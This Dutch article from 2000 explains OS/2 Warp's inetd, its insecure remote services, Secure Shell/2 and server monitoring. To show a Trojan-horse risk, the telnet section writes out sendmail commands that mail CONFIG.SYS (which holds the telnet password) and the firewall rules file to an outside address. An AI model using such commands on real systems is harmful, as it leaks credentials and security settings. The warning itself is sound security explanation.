De internet daemon van OS/2

> OS/2 net index <

De internet daemon van OS/2

Secure Shell/2

Enige bijzondere servers voor OS/2

OS/2 servers beheren


Enige relevante links



Een firewall voor OS/2



Tijdens de netwerk installatie van Linux kunt u er al dan niet voor kiezen om de internet daemon (inetd) te starten. Hiermee start uw eigen computer mogelijk bepaalde TCP/IP diensten op. Ook de op AIX (Unix) gebaseerde TCP/IP stack van OS/2 Warp 4 kent deze mogelijkheid. Zie het tabblad Automatisch functies starten in TCP/IP configuratie. Waar gaat het nu eigenlijk om?

De internet daemon van OS/2

>Top<

OS/2 Warp 4 kan enige klassieke internetdiensten leveren. U kunt ze in via het TCP/IP configuratie tabblad Automatisch functies starten (Autostart) instellen. Dit tabblad stelt \tcpip\bin\tcpstart.cmd in. De batch wordt via de Startup folder uitgevoerd.

U kunt de TCP/IP Startup uit de Opstarten folder verwijderen. Hiermee behoudt u uw internettoegang, maar worden er geen internetdiensten opgestart.

Internetdiensten als de telnet daemon en de ftpd server zijn bedoeld om uw PC van elders te bereiken. Telnet om commando's op afstand uit te voeren en ftp voor bestandsuitwisseling. U kunt de betreffende servers op verschillende manieren starten.

  1. Door u als een actief programma op prompt. Type "lpd" of "start lpd" in een OS/2 scherm en de line printer daemon draait op de voorgrond in dat scherm. Deze server kan netwerkprintopdrachten ontvangen. Met Ctrl-c kunt u hem stoppen.

  2. Door u als een van de shell ontkoppeld achtergrondproces: detach lpd. Dit niet meer in het Taakoverzicht zichtbare achtergrondproces kunt u alleen stoppen met utilities als watchcat.

  3. Door anderen via de internetdaemon (inetd) op verzoek laten opstarten.

Ook via de internet daemon kunt u een remote utility als de LP daemon als "voorgrondsessies" of als "ontkoppelde" achtergrondsessie laten opstarten. De inetd fungeert in beide gevallen als een soort shell. Maar hij lanceert de remote utilities niet als u dat wilt, maar als anderen daarom vragen. Via de internet daemon configuratie worden de functies dan automatisch opgestart.

Wat is het nut hiervan? De internet daemon fungeert als een soort remote shell. Met een shell kunt u opdrachten starten. Maar alleen op uw eigen PC. Wanneer anderen de printerfunctie van lpd nodig hebben weet u niet. U kunt lpd vanaf de prompt activeren, maar de kans is groot dat hij aldoor staat te wachten. En als u meerdere diensten draait staan die ook te wachten. Die wachtende servers consumeren geheugen en processortijd. Maar als u de niet zo vaak gebruikte processen via de in het luisteren gespecialiseerde internet daemon opstart, bespaart u geheugen en processortijd. Want de inetd start ze pas voor u op, zodra uw klanten op internet daarom vragen.

Maar de bij de OS/2 Warp client geleverde remote utilities zijn wel bedoeld voor gebruik op een van het internet afgeschermd LAN of WAN. Desalniettemin kunnen ze tijdens een internet verbinding door iedereen worden benaderd. Tijdens het inloggen op het netwerk van uw internet provider krijgt uw PC een op het internet geldend IP adres. Uw computer is dan een host op het internet. Uw thuiscomputer kan dan zowel Internet Protocol diensten opvragen als leveren. Dat laatste is minder bekend. Het is maar de vraag of u dat wilt...

Daarom zijn deze internet diensten bij het "internetten" principieel ongewenst. Iemand die "internet" wil doorgaans slechts gebruik maken van de internetdiensten van HTTP en FTP servers van elders op het internet: Als uw browser (een internet protocol client) een webserver om een bestand verzoekt, stuurt de webserver ze naar uw IP adres. Uw browser laat die HTML bestanden zien, laat muziek horen of plaatst die bestanden van elders via FTP op de harde schijf.

Maar via de remote utilities kan iemand van elders op uw netwerk de internetdiensten van uw computer activeren. Op een met het internet verbonden LAN behelst dit een groot veiligheidsrisico. Dit omdat de door de OS/2 Warp 4 client (1996) geleverde IP diensten onvoldoende beveiligd zijn. Ze stammen nog uit de tijd dat het internet een trusted netwerk was. Pas met Warp 4.5 (eComstation) werd een goede firewall geleverd.

Ik raad u daarom af om deze servers aan te zetten op een met het internet verbonden PC. Tenzij u een goede firewall hebt. Zie: Een firewall van OS/2.

Om het met Axel Boldt te zeggen:

If you don't know what to do here, say N.

Oftewel: niets aanvinken. Tenzij u precies weet wat u doet.


Een voorbeeld van een internetdienst is sendmail. Met de opdracht "detach sendmail" wordt sendmail als een ontkoppelde daemon onder OS/2 gestart. Ontkoppelde processen (hier met PID 104) werken zich los van het opdrachtverwerkingsprogramma cmd.exe dat via het toetsenbord (invoer) en beeldscherm (uitvoer) met u communiceert. Hun uitvoer gaat dan niet meer naar het beeldscherm, maar bijv. naar een logbestand of naar een ander TCP/IP programma (zie help detach). Hierdoor gebruiken ze minder processor overhead. Ze verschijnen niet in het taakoverzicht van Ctrl-Escape. Ze kunnen dus draaien zonder dat u iets merkt.

[I:\]detach sendmail

The Process Identification Number is 104.

Met deze opdracht fungeert uw computer als smtp server. Sendmail zal de betreffende poort (25) in de gaten houden en als een email bericht naar uw PC verstuurd wordt zal sendmail het bericht opvangen en (standaard) doorgeven naar het doelstation op het netwerk.

Als er veel diensten op een server draaien is het niet efficiënt om ze allemaal naar hun poorten te laten luisteren. Daarom wordt de internet super server (inetd) ingeschakeld om naar de bekende poorten in %ETC%/services te luisteren. Deze internet daemon zal de betreffende dienst pas activeren als TCP/IP client programma's de "Te starten functies" op uw systeem benaderen.

De internetdiensten van de OS/2 Warp client worden toegelicht in het bestand TCPGUIDE.HLP. Lees hier vooral het hoofdstuk Ensuring Network Security.

Bedenk dat de beveiliging van de TCP/IP stack van de OS/2 Warp 4 client sterk te wensen over laat. Als alle TCP/IP programma's als Secure Shell geschreven waren (dus aan een veilige gebruikers authentificatie en encryptie deden) was dit geen probleem. Maar dit is niet het geval. Ze zijn zonder TCP/IP wrappers, packet filters, NAT en andere firewall ingrediënten voor iedereen via het TCP/IP netwerk te benaderen.

In het onderstaande voorbeeld van eComStation staan er (achter de firewall) veel poorten open.

--------------------------------------------------------------------------

AF_INET Address Family:

Total Number of sockets 25


SOCK TYPE FOREIGN LOCAL FOREIGN STATE

PORT PORT HOST

====== ===== ========== ========== ========== ========

1 DGRAM 0 netbios-dgm..138 0.0.0.0 UDP

2 DGRAM 0 netbios-ns..137 0.0.0.0 UDP

3 STREAM 0 netbios-ssn..139 0.0.0.0 LISTEN

4 DGRAM 0 emfis-data..140 0.0.0.0 UDP

5 STREAM 0 0 0.0.0.0 CLOSED

7 STREAM 0 3128 0.0.0.0 LISTEN

18 STREAM 0 printer..515 0.0.0.0 LISTEN

19 DGRAM 0 time..37 0.0.0.0 UDP

25 STREAM 0 0 0.0.0.0 CLOSED

27 DGRAM 0 49163 0.0.0.0 UDP

28 DGRAM 0 0 0.0.0.0 UDP

44 STREAM 0 61589 0.0.0.0 LISTEN

90 STREAM ssh..22 61627 192.168.0.2 ESTABLISH

104 STREAM netbios-ssn..139 61641 192.168.0.2 ESTABLISH

105 STREAM 0 hosts2-ns..81 0.0.0.0 LISTEN

106 STREAM 0 http..80 0.0.0.0 LISTEN

107 STREAM 0 ftp..21 0.0.0.0 LISTEN

109 DGRAM 0 49170 0.0.0.0 UDP

114 DGRAM 0 shilp..2049 0.0.0.0 UDP

364 STREAM ssh..22 61775 192.168.0.2 ESTABLISH

365 STREAM 2607 ftp..21 192.168.0.2 ESTABLISH

2058 DGRAM 0 sunrpc..111 0.0.0.0 UDP

2059 STREAM 0 sunrpc..111 0.0.0.0 LISTEN

2066 DGRAM 0 syslog..514 0.0.0.0 UDP

2088 DGRAM 0 0 0.0.0.0 UDP

--------------------------------------------------------------------------

AF_OS2 Address Family:

Total Number of sockets 2


Type: STREAM State: ---

Local Name: \socket\0

Foreign Name:

Type: STREAM State: CONNECTED

Local Name:

Foreign Name: \socket\0

Gebruik deze diensten dus bij voorkeur achter een goede firewall of op een anderszins van het internet afgesloten LAN. Zoek op Hobbes en LEO naar alternatieven als secure shell en/of gebruik een echt server systeem als Linux of IBM OS/2 Warp server.

Onder OS/2 gaat het om de volgende diensten:

daemon

no

Gebruik

inetd


De internet daemon start bij een netwerk/internet aanvraag een van de volgende programma's.

telnetd

23

Telnet server voor het afwikkelen van telnet verzoeken over het netwerk. De telnetd werkt alleen als een voorgrondsessie. Dus niet als een losgekoppelde dienst of via een detached inetd.

ftpd

21

File Transfer Protocol server voor het afwikkelen van FTP verzoeken t.b.v. bestandsuitwisseling over het netwerk.

tftpd

69

Trivial File Transfer Protocol server voor het afwikkelen van TFTP verzoeken. Bestandsuitwisseling via UDP. Omdat dit protocol geen authenticatie-procedure bevat, wordt het vooral bij automatische bootprocedures gebruikt.

rexecd


Remote Execute server voor het afwikkelen van commando regels over het netwerk.

rshd

Remote shell server voor het afwikkelen van remote shell aanvragen over het netwerk.

lpd

Print server voor het afwikkelen van printerverzoeken over het netwerk. Er kunnen acht netwerkprinters op aangesloten worden.

lprportd

Daemon om printerverzoeken naar andere printers op het netwerk om te leiden.

routed

De routing server gebruikt het Routing Information Protocol (RIP) om dynamisch routing tabellen te creëren die door gateways en routers naar andere computers op het netwerk wordt geleid. Voor grotere netwerken.

portmap

Een programma dat clients helpt bij het uitpluizen van de poortnummers.

sendmail

25

Simple Mail Transfer Protocol server voor het versturen (en ophalen) van e-mail.

talkd


Server voor een chat met het programma talk met andere netwerkgebruikers over de prompt.

Telnet is onder Unix en OS/2 een uitermate krachtig, maar ook gevaarlijk hulpmiddel. Een "telnet zolder" levert bij mij de Linux prompt op. Ik geef mijn gebruikersnaam en wachtwoord en bevindt me op mijn Linux server. Met telnet kunt tekstprogramma's op de andere computer draaien. Toets mc en u kunt al uw bestanden zien, aanmaken, wissen of bewerken. Met telnet kunt elders X programma's starten en het beeld exporteren naar de OS/2 computer (zie: XFree86/OS2). Onder Linux zal de systeembeheerder (root) daarom standaard niet kunnen inloggen (hoewel dat met su te omzeilen is). Maar OS/2 is een single user systeem. Iemand die met telnet binnenkomt krijgt ongelimiteerde toegang tot alle bestanden. En wist u dat het telnet wachtwoord als onbeschermde variabele in de CONFIG.SYS stond?

SET TELNET.PASSWORD.ID=wachtwoord

Zo'n CONFIG.SYS is niet iets om onder het kopje "Can't connect to my server" in een usenet groep te posten dus. Voordat u het weet kan een ander het wel.

Dit maakt u ook kwetsbaar voor Trojaanse Paarden. Als een REXX script (install.cmd) de volgende regel bevat, kan uw wachtwoord naar happy hacker sjoerd@zolder.thuis verzonden worden.... Hiervoor hoeft sendmail niet eens als server geactiveerd te zijn. Hij treedt hier immers op als client.

'sendmail -f %USER%@%HOSTNAME% sjoerd@zolder.thuis < config.sys'

Of wat te denken van uw firewall regels:

[I:\]sendmail -f %username%@%hostname% sjoerd@zolder.thuis < %ETC%\security\fwfiltrs.cnf
IBM OS/2 SENDMAIL VERSION 2.04
Using Sendmail Configuration File H:\MPTN\ETC\sendmail.cf
[I:\]

Het verbergen (hidden) van de bestanden helpt hier niet.

Wat zich hier wreekt is dat de OS/2 client geen uitgebreid systeem van bestandspermissies kent zoals de multi-user besturingssystemen Linux en UNIX. Ook een verkeerd geschreven programma kan onder OS/2 gemakkelijk sleutelbestanden overschrijven. Nu daar ben ik dan zelf bij zult u misschien denken, maar in de wereld van op de achtergrond opererende TCP/IP servers en clients is dat zelden het geval. U bent dus erg afhankelijk van de goede trouw, discipline en kundigheid van de gebruikers (naar ik hoop alleen u en degenen op het LAN) en de kwaliteit van de TCP/IP programma's.

Security is a matter of trust stellen de auteurs van het SuSE handboek heel terecht.

FTP is weer zoiets. Zou u "Geen leestoegang tot directory's" en "Geen leestoegang tot directory's" in de trusted users FTP instellingen aanvinken en de root van de bootpartitie niet expliciet uitsluiten, dan kan iedereen uw telnet wachtwoord lezen. Gelukkig zijn er ook beter te beveiligen FTP daemon versies voor OS/2 te vinden. Zie onder andere het artikel van Peter Moylan "ftpd and FtpServer for OS/2" in OS/2 EZine.

Werp ook eens blik op de gratis FTP en WWW server Xitami. Deze kan voor lokaal gebruik ingericht worden.

Secure Shell/2

>Top<

Een alternatief voor de rlogin, rsh, rcp (en telnet!) clients en daemonen is het veel beter te beveiligen Secure Shell. Er zijn meerdere versies op Hobbes te vinden. De open source Secure Shell/2 1.2.30 OS/2 port van de rus Andrew Zabolotny bevat een Secure Shell client, de Secure Shell Daemon en tools voor RSA encryptie en gebruikersauthentificatie (key generators). Voor OS/2 kunt u met het user utility UNIX achtige wachtwoorden voor meerdere gebruikers aanmaken. Nog meer mogelijkheden biedt de open secure shell OpenSSH/2 port die bij het Security/2 project hoort. Hier is default user root, maar dat is met de ssh optie -u sjoerd te veranderen.

Secure Shell versleutelt de communicatie al voordat wachtwoorden uitgewisseld worden, iets dat de klassieke Berkeley remote utilities van OS/2 (en NT) nooit doen. Dit zijn LAN utilities. Secure shell controleert eerst grondig de herkomst (hosts) van de gebruikers die een inlogpoging doen: niet alleen of hun wachtwoorden, maar ook of hun private keys overeenkomen met de public keys op de server. Het opgeven van een (geraden) wachtwoord is niet genoeg.

Er is een sshd (Secure Shell Daemon) die als server voor de ssh client optreedt. De shd server vangt de login verzoeken van de ssh clients op en verzorgt de authentificatie.

Gebruikers van trusted hosts die geboekt zijn in /etc/hosts.equiv of /etc/shosts.equiv krijgen onmiddellijk toegang als de gebruikers op beide machines bekend zijn.

Voor de OS/2 gebruiker die op een Linux systeem inlogt is van belang dat alle functietoetsen (F1-F10) het doen: de Midnight Commander (mc) en SuSE's yast zijn veilig te gebruiken. Een ander voordeel is dat de encryptie van gegevens automatisch met compressie gepaard gaat (en dus minder netwerk verkeer geeft). Dat kan uitmaken met XFree86/OS2 en VNC.

Na een update van SuSE 6.1 naar 7.1 gaf ssh/2 (ssh.exe -tc linux zolder):




WARNING: HOST IDENTIFICATION HAS CHANGED!

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the host key has just been changed.
Please contact your system administrator.
Add correct host key in g:/home/sjoerd/.ssh/known_hosts to get rid of this message.
Agent forwarding is disabled to avoid attacks by corrupted servers.
X11 forwarding is disabled to avoid attacks by corrupted servers.
Are you sure you want to continue connecting (yes/no)? yes
sjoerd@zolder's password:

Dit was inderdaad op te lossen door de nieuw aangemaakte keys in /home/sjoerd/.ssh op de Linux PC naar g:\home\sjoerd\.ssh (mijn home directory op OS/2) te kopiëren.

De aanbevolen weg - zeker als uw known_hosts meerdere ingangen bevat - is het toevoegen van de publieke sleutel in /etc/ssh/ssh_host_key.pub op de ssh server aan het known_hosts bestand van de ssh clientgebruiker.

De syntax is [servernaam],[IPadres server] [public key van de server]

Zo bevat mijn home\sjoerd\.ssh\known_hosts twee ingangen:

zolder,192.168.0.2 1024 35 1042.........
suse, 1024 35 1042 149..............

Enige bijzondere servers voor OS/2

>Top<

Indent server voor OS/2

Een Indent server voor OS/2 is op Hobbes te downloaden (identd13.zip).

FTP server voor OS/2

De beste FTP server voor OS/2 komt van Peter J. Moylan: FtpServer.

De standaard FTP server voor OS/2 heeft nogal wat beperkingen:

  1. Maximale bestandsgrootte van 2 GB (is de limiet van HPFS).

  2. Geen logging faciliteit.

FTP server is handig om om bijvoorbeeld DVD iso bestanden over het netwerk te transporteren. Dat gaat met 8 MB/s sneller dan via NetBIOS via TCP/IP. Een dergelijk transport van de ene naar de andere lokale IDE vaste schijf verliep bij mij met 14-17 MB/s. De transportsnelheid naar USB schijven viel me tegen: het hangt nogal af van de IDE controller. Maar ik zag waarden tussen de 2 en 4 MB/s.

OS/2 servers beheren

>Top>

Een van de meest voorkomende problemen van een server applicatie is dat hij zonder dat u het weet uit de lucht is. En omdat een server zijn diensten op de achtergrond uitvoert krijgt u daar geen melding van.

Een programma dat de status van uw servers (of andere applicaties ) op reguliere intervallen controleert is Process Watchdog for OS/2 Servers. Proces Watchdog controleert in feite slechts of een bepaalde string in de p(ocess)stat opdracht voorkomt. Als het programma volgens pstat nog online is gebeurt er niets, maar als het programma uit de lucht is volgt er een actie. In het onderstaande geval blijken Privoxy en Oops! nog online.

00:59:02
C:\BIN\NETWERK\PRIVOXY\PRIVOXY.EXE OK
C:\BIN\NETWERK\OOPS-1-5-24\OOPS.EXE OK
Waiting 120 seconds

Het configuratiebestand van Proces Watchdog is eenvoudig:

# Example: Systat_string serverdirectory opdracht
# Example:  SENDMAIL.EXE   C:\TCIP\BIN    SENDMAIL.EXE -af
C:\BIN\NET\PRIVOXY\PRIVOXY.EXE  C:\BIN\NET\PRIVOXY PRIVOXY.EXE
C:\BIN\NET\OOPS-1-5-24\OOPS.EXE  C:\BIN\NET\OOPS-1-5-24 OOPS.EXE 

De "opdracht" wordt alleen uitgevoerd als er geen pasende "pstat_string" gevonden wordt. Om te weten komen of en hoe een programma zich onder pstat aanmeldt draait u:

pstat | more. 

In de regel is het verstandig om zo specifiek als mogelijk te zijn. Hier zal "mijn" drive:\pad\privoxy.exe zich als het zich in een URL verslikt na maximaal 120 seconden (PROCWD.EXE 120) weer opgestart worden in "mijn" serverdirectory. Maar u kunt ook als opdracht een privoxy_offline.cmd aanmaken die u per email van de storing verwittigd en daarna uw privoxy server herstart.



Enige relevante links

>Top<

The Secure Shell (SSH) Frequently Asked Question

Kiev elephant OpenSSH/2 en Security/2

ftpd and FtpServer for OS/2: een veelgebruikte FTP server (o.a. op Netlabs)

De artikelen Lastige klanten. OS/2 en het internet en Een firewall voor OS/2 gaan wat dieper in op de beveiliging van een OS/2 systeem. Voor meer algemene info over TCP/IP zie Enige basale zaken in Een netwerk aan huis. Meer links op: OS/2 netwerk links.



Er zijn veel meer internetdiensten te draaien onder OS/2. Kijk op het LEO archief eens voor toepassingen: http://archiv.leo.org/pub/comp/os/os2/leo/tcpip/ of op Hobbes: http://hobbes.nmsu.edu/cgi-bin/h-browse?sh=1&dir=/pub/os2/apps/internet en

http://hobbes.nmsu.edu/cgi-bin/h-browse?sh=1&dir=/pub/os2/util/network/tcpip voor de niet specifieke internet applicaties. U kunt Hobbes ook doorzoeken op het steekwoordje "server".

Nuttige tips van Greg Shaw: TCP/IP Remote Control Tips.



>Top<

Deze tekst mag niet worden gewijzigd, vermenigvuldigd of voor commerciële doeleinden gebruikt worden zonder toestemming van de auteur. © Sjoerd Visser (2000).